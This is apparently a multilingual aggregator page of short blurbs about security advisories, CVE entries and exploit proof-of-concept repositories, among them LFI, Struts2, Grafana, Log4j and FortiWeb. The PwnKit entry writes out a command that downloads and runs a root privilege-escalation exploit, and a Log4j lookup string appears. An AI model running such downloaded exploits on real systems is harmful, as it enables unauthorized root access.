liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

Important: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.11 security update

Red Hat Advanced Cluster Management for Kubernetes v2.13 general availability release images, which provide security fixes, bug fixes, and updated container images. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS...

Important: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.14.4 security update

Red Hat Advanced Cluster Management for Kubernetes v2.14 general availability release images, which provide security fixes, bug fixes, and updated container images. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS...

cve-scores

Punteggi CVE Aggregatore di Punteggi EPSS & VEDAS per CVE Fornitori di Dati PUNTEGGIO| MANTENITORE| SCOPO| COPERTURA| ATTRIBUZIONE| FREQUENZA ---|---|---|---|---|--- Exploit Prediction Scoring System EPSS| Empirical Security| Previsione dello Sfruttamento Futuro| 1 Identificatore CVE| Dati...

CVE-2023-23397

Um PoC Simples em PowerShell para CVE-2023-23397 CVE-2023-23397 é uma vulnerabilidade no MS Outlook que permite que um invasor potencialmente exfiltre detalhes de autenticação do usuário. A vulnerabilidade está relacionada à capacidade de um invasor especificar um caminho UNC na propriedade...

CVE-2019-16097

CVE-2019-16097-batch Isenção de responsabilidade Apenas para uso em pesquisas de segurança. Não realize testes ilegais. As consequências são de sua própria responsabilidade!!! CVE-2019-16097-batch Script de exploração em lote Adicione endereços de destino em lote no arquivo url.txt http://1.1.1.1...

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-Vulnerabilidade-de-Injeção-SQL-OOB Autor do Exploit: ersinerenler Página do Fornecedor https://code-projects.org/blood-bank-in-php-with-source-code Link do Software https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip Visão...

EUVD-2026-66716

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, a project administrator can read files outside their repository through the App store metadata download feature, which resolves attacker-influenced paths without adequately...

CVE-2023-44487

CVE-2023-44487 Scansione base delle vulnerabilità per verificare se i server web potrebbero essere vulnerabili a CVE-2023-44487 Questo strumento controlla se un sito web è vulnerabile a CVE-2023-44487 in modo completamente non invasivo. 1. Lo strumento verifica se un server web accetta richieste...

Vulnerability-Disclosures

Divulgazioni di vulnerabilità Mandiant Questo repository descrive in dettaglio le vulnerabilità divulgate da Mandiant. Queste vulnerabilità sono state scoperte tramite ricerca interna, valutazioni Red Team o riscontrate in uso in the wild. I proof of concept PoC possono essere forniti o meno. Le...

CVE-2021-26700

RCE dans l'extension NPM pour VSCode Corrigé le 10 février 2021 dans https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 Résumé La vulnérabilité d'exécution de code à distance dans...

lava

LAVA: Large Scale Automated Vulnerability Addition Evaluating and improving bug-finding tools is currently difficult due to a shortage of ground truth corpora i.e., software that has known bugs with triggering inputs. LAVA attempts to solve this problem by automatically injecting bugs into...

-CVE-2017-9805-

Schwachstelleninformationen Ressourcen: https://vulners.com/cve/CVE-2017-9805 Was ist das? Ein Python-Exploit-Skript, das in der Lage ist, entfernte Befehle in der Shell eines Systems auszuführen, das ein für S2-052 anfälliges Struts2 hostet. Verwendung python s2-052.py --target...

PwnKit-CVE-2021-4034

PwnKit PoC für PwnKit / CVE-2021-4034 - Pkexec Lokale Privilegienausweitung Exploit Manuell root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Gepatcht Das...

EUVD-2026-66715

amqp091-go is a Go AMQP 0.9.1 client. Before version 1.13.0, a compromised or malicious AMQP broker can force the client to allocate resources for and process content body frames that exceed the negotiated framemax limit. This can lead to unexpected memory consumption or application-layer denial ...

Important: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.17.1 security update

Red Hat Advanced Cluster Management for Kubernetes v2.17 general availability release images, which provide security fixes, bug fixes, and updated container images. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS...

Grafana-Decryptor-for-CVE-2021-43798

Decriptor Grafana per CVE-2021-43798 Questo script decripta le password delle DataSource da un'istanza Grafana vulnerabile a CVE-2021-43798, che consente la lettura non autorizzata di file arbitrari. Descrizione Le versioni di Grafana dalla 8.0.0-beta1 alla 8.3.0 sono vulnerabili a una...

CVE-2021-45046-Info

CVE-2021-45046-Info Oh no, un altro POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n COLLEGAMENTI https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...

React2Shell-PoC-CVE-2025-55182

Simulazione dello sfruttamento di React2Shell CVE-2025-55182 Nota: Questo documento è solo a scopo educativo e di ricerca sulla sicurezza. Non utilizzarlo per attaccare sistemi senza autorizzazione. 1. Panoramica CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Cod...

Vulnerability-CVE-2025-64446-CVE-2025-58034

Simulazione di sfruttamento di FortiWeb CVE-2025-64446 & CVE-2025-58034 Nota: Questo documento è solo a scopo didattico e di ricerca sulla sicurezza. Non utilizzare per attaccare sistemi senza autorizzazione. 1. Panoramica FortiWeb è un dispositivo Web Application Firewall WAF utilizzato per...